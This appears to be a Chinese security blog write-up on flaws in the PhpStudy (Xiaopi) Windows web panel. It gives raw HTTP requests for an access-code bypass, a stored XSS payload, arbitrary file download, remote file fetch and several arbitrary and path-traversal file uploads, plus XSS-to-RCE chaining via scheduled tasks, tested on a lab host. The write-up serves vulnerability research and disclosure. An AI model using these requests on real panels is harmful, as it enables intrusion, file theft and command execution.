小皮 Windows web 面板 漏洞详解

漏洞简介

  PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。

影响版本

操作系统 影响版本
Windows V0.102 及其以下的版本
Liunx V1.11 及其以下的版本

  因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。

环境搭建

  从官网下载 小皮 windows 面板安装包

  https://www.xp.cn/windows-panel.html

564654aca9669dbbd3816cc40d62979d.png 27c2a831d6050a6ccea8353e39bc4097.png

  安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码

a03d2667855d0469cc70d0bcdaf53b06.png 9297261cedfd8d9fa48e39478c4e2745.png

漏洞复现

绕过随机码

  我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。

90274a7ecd81b17b49ebe65901c8346d.png

  在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php

8d8a20653b80007d0b88373cdf9f5b8e.png

  当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码

e61531322e98564bb9ffcfa25076c094.png

  ‍

存储型 XSS

  我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞

<script>alert("xss")</script>
5693d9e81f95996091a3a459313c1b61.png 3efb68766388b388cf652821627b5bd3.png

  利用正确的用户名密码登录查看

b34ab477536a205fcc2ca5d28ebbc933.png

  我们发现成功的触发了存储型 xss

  我们查看登录时的数据包

5f99cd9b4163493a5395f11038d701f6.png

  service/app/account.php

0601e42208f98568c2d29f58d3d45707.png

  \Account::login

9895b4d285113b7661597d4b44b6faed.png

  \Socket::request

0c67f8fcdbafc44dc924be451f9e500e.png

  ‍

  将信息保存起来,登录平台后会自动获取一次日志信息

c0ee2eca6feb8a7f9581263d533df942.png

  service/app/log.php

a934aed1d17897a794c7353657f9bf92.png

  ‍

后台计划任务

  我们注意到后台有计划任务模块

529da4ca8339fcb861d04700924ac266.png

  所以可以直接通过构造计划任务实现 RCE

  添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本

5db1f9cf50f7d60e0156a8fe968a8837.png

  ‍

c336d1a92f33f378f137731c8446e1a3.png 0152563d46261b1a74378dd37dc49215.png a658b304b77cc5b838e2643251fe923a.png 2f1b93c46d9045e896808fddbff38a24.png 1a01ca5a397b57402652fba56de41406.png

  成功执行命令

  结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。

任意文件下载

  构造数据包

GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close

  file 的值是 base64 编码后的 /test.txt 成功读取文件内容

bc0c9946f1732c28c28ddc11408a4eb9.png 5ce75ef72ccccab71ec6edab21de26f1.png

  service/app/files.php

ce621f1cbff21a6798d50262f9df57d4.png

  文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载

任意代码执行

  构造数据包

POST /service/app/files.php?type=download_remote_file HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt

  url 是 base64 编码的 http://192.168.222.1:8000/1.txt

python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务
cf3c030a177efa6ef088371af3d02798.png cab4b2ba5acd90245dc0cab59a7aff0a.png ea26dac91a1aef50b1c0652ce369f619.png

  service/app/files.php

a91a76c49327959bbb8d244849fbb604.png

  通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名

任意文件上传

  构造数据包

POST /service/app/files.php?type=file_upload HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 288

------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file_path"

/
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing1.txt"
Content-type: image/jpg

qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
4ba4329240315b1e7a447ae0b1f905af.png ca14e658c5590f6c1726c840dcc37c43.png

  service/app/files.php

14d0ecdec838e469219c50a45d01080e.png

任意文件上传二

  构造数据包

POST /service/app/files.php?type=save_file_contents HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer
211b221c95540105d9acdde4b7244474.png 46e4c2a4f7e36766f59d31eb4883ba49.png

  service/app/files.php

1a03604821984d2ab1f483626959466d.png

  根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传

任意文件上传三

  构造数据包

POST /service/app/databases.php?type=file_add HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 312

------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="parent_dir"

../../../../../../../../
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing2.txt"
Content-type: image/jpg

qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
b05872cb809503870226dcc13eaa22ff.png 670e8ceed243e6e5f0899f48ff7c0a1f.png

  service/app/databases.php

83133ef1caa8d075ac3a5a6593973a12.png

漏洞修复

  在登录处添加了校验

49b384c5c7317c89743fee0d73279dca.png

  对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars 处理

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

c2eacaf158faf696f6c5ad8283f43505.gif

靶场实操,戳“阅读原文“

猜你喜欢

转载自blog.csdn.net/qq_38154820/article/details/129807467